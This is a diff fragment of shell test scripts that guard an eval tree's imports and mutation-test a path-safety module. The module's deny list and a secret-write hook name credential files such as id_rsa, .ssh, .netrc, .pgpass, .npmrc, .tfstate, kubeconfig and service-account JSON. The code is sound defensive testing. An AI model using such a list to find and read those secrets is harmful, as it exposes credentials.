-
printf '%s\n' "$hits" | sed 's/^/ /'
|
|
136
|
-
net_failed=1
|
|
137
|
-
fi
|
|
138
|
-
done
|
|
139
|
-
[ "$net_failed" -eq 0 ] && ok "no script reachable from npm test invokes a network client or reads a credential"
|
|
140
|
-
|
|
141
|
-
# --- node --check must cover the eval tree ------------------------------------------------------
|
|
142
|
-
if grep -qE 'EVAL_TREE="tests/evals"' scripts/validate.sh \
|
|
143
|
-
&& grep -qE "find hooks scripts \\\$EVAL_TREE -name '\\*\\.mjs'" scripts/validate.sh; then
|
|
144
|
-
ok "validate.sh syntax-checks tests/evals/**/*.mjs"
|
|
145
|
-
else
|
|
146
|
-
bad "validate.sh syntax-checks tests/evals/**/*.mjs"
|
|
147
|
-
fi
|
|
148
|
-
# Skipped in a published tarball, where the tree is absent BY DESIGN -- the exclusion asserted
|
|
149
|
-
# above. Failing here would make the guard contradict its own passing assertion.
|
|
150
|
-
if [ -d tests/evals ]; then
|
|
151
|
-
n_mjs=$(find tests/evals -name '*.mjs' -type f | wc -l | tr -d ' ')
|
|
152
|
-
if [ "$n_mjs" -ge 10 ]; then
|
|
153
|
-
ok "there are .mjs files under tests/evals to check ($n_mjs)"
|
|
154
|
-
else
|
|
155
|
-
bad "there are .mjs files under tests/evals to check (want >=10, got $n_mjs)"
|
|
156
|
-
fi
|
|
157
|
-
else
|
|
158
|
-
ok "tests/evals absent (published tarball) - syntax-check scope assertion skipped"
|
|
159
|
-
fi
|
|
160
|
-
|
|
161
|
-
# --- NFR-13: eval entrypoints import only from ./lib/; libs import only siblings ----------------
|
|
162
|
-
# An entrypoint importing a sibling entrypoint is what forced lib/source.mjs out of run.mjs. Every
|
|
163
|
-
# top-level tests/evals/*.mjs is an entrypoint (the set is pinned below, so adding one forces this
|
|
164
|
-
# test to be revisited). The scan is textual, not a parse: it finds `import ... from`, bare
|
|
165
|
-
# `import '...'` and `export ... from` at a line start (indented or not) or right after a `;`, with
|
|
166
|
-
# or without a trailing `;` and with or without `with {...}` attributes. A `//` comment or a string
|
|
167
|
-
# on the same line is not matched; starless block comments and template literals can be. A dynamic
|
|
168
|
-
# `import(...)` or an import hidden behind unusual formatting could still slip past, so this is a
|
|
169
|
-
# tripwire, not a proof.
|
|
170
|
-
# Skipped in a published tarball, where tests/evals is absent BY DESIGN.
|
|
171
|
-
if [ -d tests/evals ]; then
|
|
172
|
-
nfr13=$(node --input-type=module -e "
|
|
173
|
-
import { readdirSync, readFileSync } from 'node:fs';
|
|
174
|
-
const specs = (src) => [
|
|
175
|
-
...src.matchAll(/(?:^|;)\s*(?:import|export)(?![\w\$.])[^'\";]*?\bfrom\s*['\"]([^'\"]+)['\"]/gm),
|
|
176
|
-
...src.matchAll(/(?:^|;)\s*import\s*['\"]([^'\"]+)['\"]/gm),
|
|
177
|
-
].map((m) => m[1]).filter((x) => x.startsWith('.'));
|
|
178
|
-
const entryBad = (x) => !x.startsWith('./lib/') || x.includes('..');
|
|
179
|
-
const libBad = (x) => !x.startsWith('./') || x.includes('..');
|
|
180
|
-
// The scanner must catch the shapes it exists for; these are synthetic, so no repo file is mutated.
|
|
181
|
-
const mutants = [
|
|
182
|
-
[entryBad, \"import { a } from '../x.mjs'\"],
|
|
183
|
-
[entryBad, \"import a from './convergence.mjs'\"],
|
|
184
|
-
[entryBad, \" import a from './other.mjs'\"],
|
|
185
|
-
[entryBad, \"import j from './j.json' with { type: 'json' }\"],
|
|
186
|
-
[entryBad, \"import './side.mjs'\"],
|
|
187
|
-
[entryBad, \"import a from './lib/a.mjs'; import b from './b.mjs'\"],
|
|
188
|
-
[libBad, \"import { run } from '../run.mjs'\"],
|
|
189
|
-
];
|
|
190
|
-
const blind = mutants.filter(([bad, src]) => !specs(src).some(bad)).map(([, src]) => src);
|
|
191
|
-
const top = readdirSync('tests/evals').filter((n) => n.endsWith('.mjs')).sort();
|
|
192
|
-
const found = [];
|
|
193
|
-
let rel = 0, libs = 0;
|
|
194
|
-
for (const f of top) for (const x of specs(readFileSync('tests/evals/' + f, 'utf8'))) {
|
|
195
|
-
rel++; if (entryBad(x)) found.push(f + ' -> ' + x);
|
|
196
|
-
}
|
|
197
|
-
for (const f of readdirSync('tests/evals/lib').filter((n) => n.endsWith('.mjs'))) {
|
|
198
|
-
libs++;
|
|
199
|
-
for (const x of specs(readFileSync('tests/evals/lib/' + f, 'utf8'))) if (libBad(x)) found.push('lib/' + f + ' -> ' + x);
|
|
200
|
-
}
|
|
201
|
-
const out = [];
|
|
202
|
-
if (top.join() !== 'convergence.mjs,gate-check.mjs,run.mjs') out.push('ENTRYPOINT SET ' + top.join());
|
|
203
|
-
if (blind.length) out.push('SCANNER BLIND TO ' + blind.join(' | '));
|
|
204
|
-
if (rel < 2 || libs < 10) out.push('VACUOUS ' + rel + '/' + libs);
|
|
205
|
-
process.stdout.write(out.concat(found).join(';') || 'CLEAN');")
|
|
206
|
-
check "tests/evals entrypoints import only ./lib/, and lib files only siblings (NFR-13)" "$nfr13" "CLEAN"
|
|
207
|
-
|
|
208
|
-
# lib/source.mjs sits one directory deeper than run.mjs did; a wrong '..' count would silently
|
|
209
|
-
# move the results directory, so the expected path is computed here independently.
|
|
210
|
-
shard=$(node --input-type=module -e "
|
|
211
|
-
import { resolve } from 'node:path';
|
|
212
|
-
const src = await import('./tests/evals/lib/source.mjs');
|
|
213
|
-
const run = await import('./tests/evals/run.mjs');
|
|
214
|
-
const want = resolve('tests/evals/results/abc1234');
|
|
215
|
-
process.stdout.write(JSON.stringify([src.shardDir('abc1234') === want, run.shardDir === src.shardDir,
|
|
216
|
-
run.resolveSource === src.resolveSource, run.fixtureFor === src.fixtureFor]));")
|
|
217
|
-
check "lib/source.mjs shardDir lands in tests/evals/results/<sha>; run.mjs re-exports the same functions" "$shard" "[true,true,true,true]"
|
|
218
|
-
else
|
|
219
|
-
ok "tests/evals absent (published tarball) - NFR-13 import pin skipped"
|
|
220
|
-
fi
|
|
221
|
-
|
|
222
|
-
echo
|
|
223
|
-
printf ' %d passed, %d failed\n' "$pass" "$fail"
|
|
224
|
-
[ "$fail" -eq 0 ]
|
|
@@ -1,296 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env bash
|
|
2
|
-
# Guards the fact-sheet library modules under scripts/lib. Each section runs a module's test lib, then proves
|
|
3
|
-
# the suite has teeth: every mutation of the module, applied to a scratch copy, must turn the test NAMED for it red
|
|
4
|
-
# (a mutant that fails some other way, or not at all, is a failure). Hermetic: temp tree only, no network, no model.
|
|
5
|
-
set -uo pipefail
|
|
6
|
-
umask 022
|
|
7
|
-
|
|
8
|
-
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
|
9
|
-
TMP="$(mktemp -d)"
|
|
10
|
-
trap 'chmod -R u+rwx "$TMP" 2>/dev/null; rm -rf "$TMP"' EXIT
|
|
11
|
-
pass=0; fail=0
|
|
12
|
-
ok() { pass=$((pass+1)); printf ' ok %s\n' "$1"; }
|
|
13
|
-
bad() { fail=$((fail+1)); printf ' FAIL %s\n' "$1"; }
|
|
14
|
-
|
|
15
|
-
# run_suite <test lib> <module>: prints the suite's lines, folds its SUMMARY into the totals.
|
|
16
|
-
run_suite() {
|
|
17
|
-
local out rc total failed
|
|
18
|
-
out="$(node "$1" "$2" 2>&1)"; rc=$?
|
|
19
|
-
printf '%s\n' "$out" | grep -v '^SUMMARY'
|
|
20
|
-
total="$(printf '%s\n' "$out" | awk '/^SUMMARY/{print $2}')"; failed="$(printf '%s\n' "$out" | awk '/^SUMMARY/{print $3}')"
|
|
21
|
-
pass=$((pass + ${total:-0} - ${failed:-0})); fail=$((fail + ${failed:-1}))
|
|
22
|
-
[ "$rc" = 0 ] || [ "${failed:-1}" -gt 0 ] || fail=$((fail+1))
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
# mutate <test lib> <module> <label> <test it must break> <from> <to>: the first <from> in the module becomes <to>.
|
|
26
|
-
mutate() {
|
|
27
|
-
local lib="$1" mod="$2" label="$3" named="$4" mut="$TMP/mutant-$(basename "$2")"
|
|
28
|
-
node -e "const fs=require('fs');const s=fs.readFileSync(process.argv[1],'utf8');const t=s.replace(process.argv[2],()=>process.argv[3]);if(t===s)process.exit(3);fs.writeFileSync(process.argv[4],t)" "$mod" "$5" "$6" "$mut"
|
|
29
|
-
if [ $? != 0 ]; then bad "mutation '$label' did not change the module (stale pattern)"; return; fi
|
|
30
|
-
local out; out="$(node "$lib" "$mut" 2>&1)"
|
|
31
|
-
if grep -qF -- " FAIL $named" <<<"$out"; then ok "mutation '$label' turns '$named' red"; else bad "mutation '$label' did not turn '$named' red"; fi
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
# ---- scripts/lib/path-safety.mjs ----
|
|
35
|
-
echo "== fact sheet: path safety =="
|
|
36
|
-
PS="$ROOT/scripts/lib/path-safety.mjs"; PST="$ROOT/tests/scripts/lib/path-safety-tests.mjs"
|
|
37
|
-
run_suite "$PST" "$PS"
|
|
38
|
-
ps() { mutate "$PST" "$PS" "$@"; }
|
|
39
|
-
T_STAT='a deny-listed name is decided without any filesystem call'
|
|
40
|
-
ps 'deny-list stats the file' "$T_STAT" "if (denied) return { kind: 'denied' };" "if (denied) { try { fs.lstatSync(root); } catch { /* the probe is the call itself */ } return { kind: 'denied' }; }"
|
|
41
|
-
ps 'refusal drops the denied fact' 'a malformed deny-listed name returns the refusal id' 'if (bad) return refused(bad, denied);' 'if (bad) return refused(bad);'
|
|
42
|
-
ps 'case folding removed' 'denies case variants' ".normalize('NFKC').toUpperCase().toLowerCase()" ".normalize('NFKC')"
|
|
43
|
-
ps 'compatibility normalisation removed' 'denies a name written with another separator' ".normalize('NFKC').toUpperCase().toLowerCase()" '.toUpperCase().toLowerCase()'
|
|
44
|
-
ps 'full case folding reduced to lower-casing' 'denies a name that only full case folding' '.toUpperCase().toLowerCase()' '.toLowerCase()'
|
|
45
|
-
ps 'backslash not a separator in the deny test' 'denies a name written with another separator' 'const SEPARATORS = /[\\/]+/;' 'const SEPARATORS = /[/]+/;'
|
|
46
|
-
ps 'trailing dot and space not stripped' 'denies a name written with another separator' 'trimDots(piece)' 'piece'
|
|
47
|
-
T_SEP='denies a name whose compatibility fold writes a separator'
|
|
48
|
-
ps 'fold, then split, restored' "$T_SEP" 'return raw.split(SEPARATORS).some((segment) => {' "return raw.normalize('NFKC').toUpperCase().toLowerCase().split(SEPARATORS).some((segment) => {"
|
|
49
|
-
ps 'the folded segment tested only as its pieces' "$T_SEP" 'new Set([folded, ...folded.split(SEPARATORS)])' 'new Set(folded.split(SEPARATORS))'
|
|
50
|
-
ps 'the folded segment tested only whole' "$T_SEP" 'new Set([folded, ...folded.split(SEPARATORS)])' 'new Set([folded])'
|
|
51
|
-
T_BIG='a huge name is refused as path_length'
|
|
52
|
-
ps 'the raw-length bound removed' "$T_BIG" 'if (raw.length > MAX_PATH_CHARS) return true;' ''
|
|
53
|
-
ps 'the regex trim restored without the bound' "$T_BIG" "if (raw.length > MAX_PATH_CHARS) return true;
|
|
54
|
-
return raw.split(SEPARATORS).some((segment) => {
|
|
55
|
-
const folded = foldName(segment);
|
|
56
|
-
return [...new Set([folded, ...folded.split(SEPARATORS)])].some((piece) => {
|
|
57
|
-
const name = trimDots(piece);" "return raw.split(SEPARATORS).some((segment) => {
|
|
58
|
-
const folded = foldName(segment);
|
|
59
|
-
return [...new Set([folded, ...folded.split(SEPARATORS)])].some((piece) => {
|
|
60
|
-
const name = piece.replace(/[. ]+\$/, '');"
|
|
61
|
-
ps 'the short-name rule removed' 'denies Windows short names' '/~\d/.test(name) || ' ''
|
|
62
|
-
ps 'the stream-suffix rule removed' 'denies Windows short names' "name.includes(':') || " ''
|
|
63
|
-
ps 'the short-name rule over-matches a bare tilde' 'does not deny look-alikes' '/~\d/' '/~/'
|
|
64
|
-
ps 'the short-name rule narrowed to a bare stem' 'floors drive-letter paths and ~<digit> names' '/~\d/.test(name)' '/^[a-z]+~\d$/.test(name)'
|
|
65
|
-
ps 'the drive-letter floor removed' 'floors drive-letter paths and ~<digit> names' "name.includes(':') || " ''
|
|
66
|
-
ps 'the .ssh segment not matched' 'denies .env, key and certificate' "'.ssh', " ''
|
|
67
|
-
ps 'the .tfvars suffix not matched' 'denies .env, key and certificate' "'.tfvars', " ''
|
|
68
|
-
ps 'the .npmrc name not matched' 'denies .env, key and certificate' "'.npmrc', " ''
|
|
69
|
-
T_HOOK='denies the secret names the repository secret-write hook denies'
|
|
70
|
-
T_LIST='the hook secret-name patterns and the representative table list the same literals'
|
|
71
|
-
T_MATCH='each hook pattern, built with its own flags, matches the basename of its representative'
|
|
72
|
-
T_REP='every representative of a hook pattern is denied here'
|
|
73
|
-
T_ADDED='denies .env, key and certificate'
|
|
74
|
-
T_LOOK='does not deny the look-alikes of the added names'
|
|
75
|
-
ps 'the -key.json suffix not matched' "$T_HOOK" "'-key.json', " ''
|
|
76
|
-
ps 'the -key.json suffix over-matches key.json' 'does not deny look-alikes of those names' "'-key.json'" "'key.json'"
|
|
77
|
-
ps 'the credentials.json suffix not matched' "$T_REP" ", 'credentials.json'" ''
|
|
78
|
-
ps 'the credentials.json suffix not matched (file in the name table)' "$T_ADDED" ", 'credentials.json'" ''
|
|
79
|
-
ps 'the credentials.json suffix over-matches any json' 'does not deny look-alikes of those names' ", 'credentials.json'" ", '.json'"
|
|
80
|
-
ps 'the service-account rule not matched' "$T_HOOK" 'service[-_]?account[^]*\.json$|' ''
|
|
81
|
-
ps 'the service-account rule loses its extension' 'does not deny look-alikes of those names' 'service[-_]?account[^]*\.json$' 'service[-_]?account'
|
|
82
|
-
ps 'the service-account rule loses its underscore form' "$T_ADDED" 'service[-_]?account' 'service-?account'
|
|
83
|
-
ps 'the service-account rule loses its optional separator' "$T_ADDED" 'service[-_]?account' 'service[-_]account'
|
|
84
|
-
ps 'the service-account rule matches a bare account.json' "$T_LOOK" 'service[-_]?account' 'account'
|
|
85
|
-
ps 'the client_secret rule not matched' "$T_ADDED" '|client_secret[^]*\.json$' ''
|
|
86
|
-
ps 'the client_secret rule loses its extension' "$T_LOOK" 'client_secret[^]*\.json$' 'client_secret'
|
|
87
|
-
ps 'the .netrc suffix not matched' "$T_REP" " '.netrc', '.pgpass', '-key.json'" " '.pgpass', '-key.json'"
|
|
88
|
-
ps 'the .netrc suffix not matched (name table)' "$T_ADDED" " '.netrc', '.pgpass', '-key.json'" " '.pgpass', '-key.json'"
|
|
89
|
-
ps 'the .pgpass suffix not matched' "$T_REP" " '.pgpass', '-key.json'" " '-key.json'"
|
|
90
|
-
ps 'the .pgpass suffix not matched (name table)' "$T_ADDED" " '.pgpass', '-key.json'" " '-key.json'"
|
|
91
|
-
ps 'the .tfstate.backup suffix not matched' "$T_ADDED" " '.tfstate.backup'," ''
|
|
92
|
-
ps 'the .tfstate.backup suffix over-matches any .backup' "$T_LOOK" "'.tfstate.backup'" "'.backup'"
|
|
93
|
-
ps 'the exact key.json rule removed' "$T_ADDED" '|^key\.json$' ''
|
|
94
|
-
ps 'the key.json rule unanchored' 'does not deny look-alikes of those names' '^key\.json$' 'key\.json$'
|
|
95
|
-
ps 'the tfstate backup-copy rule removed' "$T_ADDED" '|\.tfstate\.[^]*\.backup$' ''
|
|
96
|
-
ps 'the tfstate backup-copy rule over-matches' "$T_LOOK" '\.tfstate\.[^]*\.backup$' '\.tfstate\.[^]*'
|
|
97
|
-
T_TERM='denies a name with a line terminator inside the matched span'
|
|
98
|
-
ps 'the service-account rule stops at a line terminator' "$T_TERM" 'service[-_]?account[^]*\.json$' 'service[-_]?account.*\.json$'
|
|
99
|
-
ps 'the client_secret rule stops at a line terminator' "$T_TERM" 'client_secret[^]*\.json$' 'client_secret.*\.json$'
|
|
100
|
-
ps 'the tfstate backup-copy rule stops at a line terminator' "$T_TERM" '\.tfstate\.[^]*\.backup$' '\.tfstate\..*\.backup$'
|
|
101
|
-
ps 'a bare config denied' 'a bare config stays allowed on purpose' "'.docker', 'credentials'];" "'.docker', 'credentials', 'config'];"
|
|
102
|
-
ps 'credentials denied only as a file, not as a directory' 'credentials/ is denied as a directory' "return raw.split(SEPARATORS).some((segment) => {
|
|
103
|
-
const folded = foldName(segment);
|
|
104
|
-
return [...new Set([folded, ...folded.split(SEPARATORS)])].some((piece) => {
|
|
105
|
-
const name = trimDots(piece);
|
|
106
|
-
return NAME_EXACT.includes(name) ||" "return raw.split(SEPARATORS).some((segment, _, all) => {
|
|
107
|
-
const folded = foldName(segment);
|
|
108
|
-
return [...new Set([folded, ...folded.split(SEPARATORS)])].some((piece) => {
|
|
109
|
-
const name = trimDots(piece);
|
|
110
|
-
return (NAME_EXACT.includes(name) && (name !== 'credentials' || segment === all.at(-1))) ||"
|
|
111
|
-
ps 'the secrets rule not matched' "$T_HOOK" '|secrets?\.(?:ya?ml|json)$' ''
|
|
112
|
-
ps 'the secrets rule loses its extension' 'does not deny look-alikes of those names' 'secrets?\.(?:ya?ml|json)$' 'secrets?\.'
|
|
113
|
-
ps 'the credentials name not matched' "$T_HOOK" ", 'credentials'];" '];'
|
|
114
|
-
ps 'the .tfstate suffix not matched' "$T_HOOK" "'.tfstate', " ''
|
|
115
|
-
ps 'the _netrc name not matched' "$T_HOOK" "'_netrc', " ''
|
|
116
|
-
ps 'the _pgpass name not matched' "$T_HOOK" "'_pgpass', " ''
|
|
117
|
-
ps 'the .htpasswd name not matched' "$T_HOOK" "'.htpasswd', " ''
|
|
118
|
-
ps 'the .p8 suffix not matched' "$T_HOOK" "'.p8', " ''
|
|
119
|
-
ps 'the .vault-token name not matched' "$T_HOOK" ", '.vault-token'" ''
|
|
120
|
-
ps 'the .kube segment not matched' "$T_HOOK" "'.kube', " ''
|
|
121
|
-
ps 'the .docker segment not matched' "$T_HOOK" "'.docker', " ''
|
|
122
|
-
ps 'the hook parity: -key.json dropped from the deny list' "$T_REP" "'-key.json', " ''
|
|
123
|
-
ps 'the hook parity: .kdbx dropped from the deny list (a representative no longer denied)' "$T_REP" "'.kdbx', " ''
|
|
124
|
-
# The hook's own source, copied with one edit and read by the test through SECRET_HOOK_SOURCE.
|
|
125
|
-
HOOK="$ROOT/hooks/pre-tool/block-secret-writes.mjs"
|
|
126
|
-
hk() {
|
|
127
|
-
local label="$1" named="$2" mut="$TMP/hook-mutant.mjs" out
|
|
128
|
-
node -e "const fs=require('fs');const s=fs.readFileSync(process.argv[1],'utf8');const t=s.replace(process.argv[2],()=>process.argv[3]);if(t===s)process.exit(3);fs.writeFileSync(process.argv[4],t)" "$HOOK" "$3" "$4" "$mut"
|
|
129
|
-
if [ $? != 0 ]; then bad "hook mutation '$label' did not change the hook (stale pattern)"; return; fi
|
|
130
|
-
out="$(SECRET_HOOK_SOURCE="$mut" node "$PST" "$PS" 2>&1)"
|
|
131
|
-
if grep -qF -- " FAIL $named" <<<"$out"; then ok "hook mutation '$label' turns '$named' red"; else bad "hook mutation '$label' did not turn '$named' red"; fi
|
|
132
|
-
}
|
|
133
|
-
hk 'a hook pattern gains a flag' "$T_LIST" ' /\.pem$/,' ' /\.pem$/i,'
|
|
134
|
-
hk 'a hook pattern gains a flag the test must build with' "$T_MATCH" ' /\.pem$/,' ' /\.pem$/y,'
|
|
135
|
-
hk 'a hook pattern is added with no representative' "$T_LIST" ' /\.kdbx$/,' ' /\.kdbx$/,
|
|
136
|
-
/\.tfplan$/,'
|
|
137
|
-
hk 'a hook pattern with a character class is added with no representative' "$T_LIST" ' /\.kdbx$/,' ' /\.kdbx$/,
|
|
138
|
-
/[a-z]\.tfplan$/,'
|
|
139
|
-
hk 'a hook entry that is not a plain literal is added' "$T_LIST" ' /\.kdbx$/,' ' /\.kdbx$/,
|
|
140
|
-
new RegExp("x"),'
|
|
141
|
-
hk 'a hook pattern is altered' "$T_LIST" '/-key\.json$/,' '/-key\.jsonl$/,'
|
|
142
|
-
hk 'a hook pattern is removed and its representative goes stale' "$T_LIST" ' /\.pgpass$/,
|
|
143
|
-
' ''
|
|
144
|
-
ps 'the realpath re-check removed' 'a path whose canonical on-disk spelling is a denied name' "if (denyListed(rel)) return { kind: 'denied' };" ''
|
|
145
|
-
ps 'the .git segment not matched' 'denies .env, key and certificate' "NAME_EXACT.includes(name) || " ''
|
|
146
|
-
ps 'the .env prefix not matched' 'denies .env, key and certificate' "'.env', " ''
|
|
147
|
-
ps 'id_rsa not matched' 'denies .env, key and certificate' "'id_rsa', " ''
|
|
148
|
-
ps 'the .pfx suffix not matched' 'denies .env, key and certificate' "'.pfx', " ''
|
|
149
|
-
ps 'the deny list over-matches .gitignore' 'does not deny look-alikes' "NAME_EXACT.includes(name)" "name.startsWith('.git')"
|
|
150
|
-
ps 'the backslash dropped from the absolute check' 'refuses an absolute path' '^(?:[\\/]|[a-z]:)' '^(?:[/]|[a-z]:)'
|
|
151
|
-
ps 'the absolute check removed' 'refuses an absolute path' "if (ABSOLUTE.test(raw)) return 'absolute';" ''
|
|
152
|
-
ps 'the parent-segment check removed' 'refuses a parent segment' "if (segments.some((s) => PARENT_SEGMENT.test(s))) return 'traversal';" ''
|
|
153
|
-
ps 'control characters allowed' 'refuses NUL and control' '[\p{Cc}\p{Cf}' '[\p{Cf}'
|
|
154
|
-
ps 'bidi characters allowed' 'refuses bidi' '[\p{Cc}\p{Cf}' '[\p{Cc}'
|
|
155
|
-
ps 'lone surrogates allowed' 'refuses lone surrogates' '\p{Cs}' ''
|
|
156
|
-
ps 'a non-string name read as text' 'refuses an empty' "if (typeof raw !== 'string') return 'malformed';" ''
|
|
157
|
-
ps 'the length cap off by one' 'refuses a name over the length cap' 'raw.length > MAX_PATH_CHARS' 'raw.length >= MAX_PATH_CHARS'
|
|
158
|
-
ps 'the count cap off by one' 'refuses a list over the count cap' 'paths.length <= MAX_PATHS' 'paths.length < MAX_PATHS'
|
|
159
|
-
ps 'the list refusal drops the denied fact' 'a list over the cap keeps the denied fact' 'paths.some(denyListed)' 'false'
|
|
160
|
-
ps 'a far-over-cap list is scanned' 'a list far over the cap is refused as denied' "if (paths.length > 4 * MAX_PATHS) return refused('path_count', true);" ''
|
|
161
|
-
ps 'the scan bound off by one' 'a list far over the cap is refused as denied' 'paths.length > 4 * MAX_PATHS' 'paths.length >= 4 * MAX_PATHS'
|
|
162
|
-
ps 'a symlink component allowed' 'refuses a symlinked file' "if (stat.isSymbolicLink()) return { result: refused('symlink') };" ''
|
|
163
|
-
ps 'an escape outside the root allowed' 'refuses a path whose canonical form leaves the root' 'rel.startsWith(`..${path.sep}`) ||' ''
|
|
164
|
-
ps 'the root itself allowed' 'refuses a path whose canonical form leaves the root' "rel === '' ||" ''
|
|
165
|
-
ps 'the parent of the root allowed' 'refuses a path whose canonical form leaves the root' "rel === '..' ||" ''
|
|
166
|
-
ps 'a name starting with two dots read as an escape' 'a file whose name begins with two dots' 'rel.startsWith(`..${path.sep}`)' "rel.startsWith('..')"
|
|
167
|
-
if [ "$(uname -s)" = Linux ]; then ps 'a non-ENOENT lstat error read as a missing file' 'a name the filesystem cannot look up' "if (e.code !== 'ENOENT') return { result: refused('unreadable') };" ''
|
|
168
|
-
else echo " skip mutation 'a non-ENOENT lstat error read as a missing file' on the long-name test (not Linux: the name limit counts bytes only there)"; fi
|
|
169
|
-
if [ "$(id -u)" = 0 ]; then echo " skip mutation 'a non-ENOENT lstat error read as a missing file' on the unreadable-directory test (running as root, which reads it)"
|
|
170
|
-
else ps 'a non-ENOENT lstat error read as a missing file (directory case)' 'a file in an unreadable directory' "if (e.code !== 'ENOENT') return { result: refused('unreadable') };" ''; fi
|
|
171
|
-
ps 'the walk splits on slashes only' 'refuses a parent segment' 'raw.split(SEPARATORS).filter' "raw.split('/').filter"
|
|
172
|
-
ps 'a final non-file is opened' 'a path that does not exist, a directory or a FIFO opens nothing' "if (i === segments.length - 1 && !stat.isFile()) return { result: refused('not_file') };" ''
|
|
173
|
-
ps 'a probe error is rethrown' 'an error from the probe is a refusal' "result = refused('probe');" "throw new Error('PROBEMSG');"
|
|
174
|
-
ps 'a missing parent allowed' 'refuses a directory, a path through a file' "if (i < segments.length - 1) return { result: refused('no_parent') };" ''
|
|
175
|
-
ps 'a file read as a directory' 'refuses a directory, a path through a file' 'i < segments.length - 1 && !stat.isDirectory()' 'false'
|
|
176
|
-
ps 'a directory or device read as a file' 'refuses a directory, a path through a file' "if (!stat.isFile()) throw Object.assign(new Error(), { refusal: 'not_file' });" ''
|
|
177
|
-
ps 'the size cap not applied' 'refuses a file over the size cap' 'stat.size > MAX_FILE_BYTES' 'false'
|
|
178
|
-
ps 'the size cap off by one' 'refuses a file over the size cap' 'stat.size > MAX_FILE_BYTES' 'stat.size >= MAX_FILE_BYTES'
|
|
179
|
-
ps 'the open can block on a FIFO' 'a FIFO is refused and the call returns' ' | constants.O_NONBLOCK' ''
|
|
180
|
-
ps 'the open can take a controlling terminal' 'the open follows no link, cannot block' ' | (constants.O_NOCTTY ?? 0)' ''
|
|
181
|
-
ps 'the open follows a link' 'refuses a link swapped in after the check' ' | constants.O_NOFOLLOW' ''
|
|
182
|
-
ps 'no platform check' 'fails closed with `platform`' "if (!(constants.O_NOFOLLOW > 0 && constants.O_NONBLOCK > 0)) return refused('platform');" ''
|
|
183
|
-
ps 'the platform check ignores O_NONBLOCK' 'fails closed with `platform`' ' && constants.O_NONBLOCK > 0' ''
|
|
184
|
-
ps 'the descriptor is leaked after a probe' 'the descriptor is closed after a probe' 'fs.closeSync(opened.fd);' ''
|
|
185
|
-
ps 'a failed close of the descriptor is rethrown' 'a probe that closes the descriptor is a refusal' "try {
|
|
186
|
-
fs.closeSync(opened.fd);
|
|
187
|
-
} catch {
|
|
188
|
-
return refused(probe ? 'probe' : 'unreadable'); // with a probe, the likely cause is the probe closing the descriptor
|
|
189
|
-
}" 'fs.closeSync(opened.fd);'
|
|
190
|
-
T_CLOSE='a close that fails is unreadable with no probe'
|
|
191
|
-
ps 'a failed close with no probe labelled probe' "$T_CLOSE" "refused(probe ? 'probe' : 'unreadable')" "refused('probe')"
|
|
192
|
-
ps 'a failed close with a probe labelled unreadable' "$T_CLOSE" "refused(probe ? 'probe' : 'unreadable')" "refused('unreadable')"
|
|
193
|
-
ps 'the descriptor is leaked on a refusal' 'the descriptor is closed after a probe' 'fs.closeSync(fd);' ''
|
|
194
|
-
ps 'the probe answer is passed through' 'the probe gets an open descriptor and the size and its answer is a boolean' 'probe(opened.fd, opened.size) === true' 'probe(opened.fd, opened.size)'
|
|
195
|
-
ps 'an unreadable root is read through' 'an unreadable root is refused' "} catch {
|
|
196
|
-
return refused('unreadable');
|
|
197
|
-
}
|
|
198
|
-
if (found.result)" "} catch {
|
|
199
|
-
return { kind: 'contained', exists: false, rel: '' };
|
|
200
|
-
}
|
|
201
|
-
if (found.result)"
|
|
202
|
-
|
|
203
|
-
# ---- scripts/lib/path-facts.mjs ----
|
|
204
|
-
echo "== fact sheet: path facts =="
|
|
205
|
-
PF="$ROOT/scripts/lib/path-facts.mjs"; PFT="$ROOT/tests/scripts/lib/path-facts-tests.mjs"
|
|
206
|
-
ln -s "$PS" "$TMP/path-safety.mjs" # a scratch copy of the module imports its sibling
|
|
207
|
-
run_suite "$PFT" "$PF"
|
|
208
|
-
# The timed cost check costs about a second a run, so only the mutants that name it run it.
|
|
209
|
-
# SKIP_TIMED is honoured only as the value mutant-run (see the stray-seam check at the end).
|
|
210
|
-
pf() { local skip_timed=mutant-run; case "$2" in *nested-quantifier*|*adjacent*) skip_timed= ;; esac; SKIP_TIMED=$skip_timed mutate "$PFT" "$PF" "$@"; }
|
|
211
|
-
T_FLAG='an unconfigured repo flags .env, a migrations directory, a lockfile and a route file'
|
|
212
|
-
T_ADD='config globs are added to the built-ins, not instead of them'
|
|
213
|
-
T_CONT='still two with an empty container list'
|
|
214
|
-
T_HOSTILE='a hostile section reads as the defaults'
|
|
215
|
-
T_DIR='a directory glob with a slash is anchored'
|
|
216
|
-
T_LIT='a config glob is literal text except star'
|
|
217
|
-
T_UNUSABLE='an unusable entry floors instead of vanishing'
|
|
218
|
-
T_KEY='module key under a built-in container'
|
|
219
|
-
T_DENY='a denied name reports a deny_list hit'
|
|
220
|
-
pf 'a default glob dropped: migrations' "$T_FLAG" "migrations: ['migrations', 'migration*', 'migrate']," 'migrations: [],'
|
|
221
|
-
pf 'a default glob dropped: routes' "$T_FLAG" "routes: ['routes', " "routes: ["
|
|
222
|
-
pf 'a default glob dropped: the lockfile name' "$T_FLAG" "'package-lock.json', " ''
|
|
223
|
-
pf 'config replaces the sensitive globs' "$T_ADD" "const sensitive = [...SENSITIVE, ['config', extra.sensitive]];" "const sensitive = extra.sensitive.length ? [['config', extra.sensitive]] : SENSITIVE;"
|
|
224
|
-
pf 'config replaces the built-in containers' "$T_CONT" 'new Set([...BUILTIN_CONTAINERS, ...extra.containers])' 'new Set(extra.containers.length ? extra.containers : BUILTIN_CONTAINERS)'
|
|
225
|
-
T_CSPLIT='a configured container splits its children'
|
|
226
|
-
pf 'config containers are ignored' "$T_CSPLIT" 'out.containers.push(...names.map(containerName))' 'names.map(containerName)'
|
|
227
|
-
pf 'a container name is not reduced to one segment' "$T_CSPLIT" 'const s = globParts(g);' 'const s = [fold(g)];'
|
|
228
|
-
pf 'a container with a slash or wildcard accepted' "$T_HOSTILE" 's.length === 1 && !/[*?]/.test(s[0])' 's.length > 0'
|
|
229
|
-
pf 'a test file counted as production' 'a test file is not a production file' 'production: !isTest(segs)' 'production: true'
|
|
230
|
-
pf 'a test directory not recognised' 'a test file is not a production file' 'TEST_DIRS.has(s)' 'false'
|
|
231
|
-
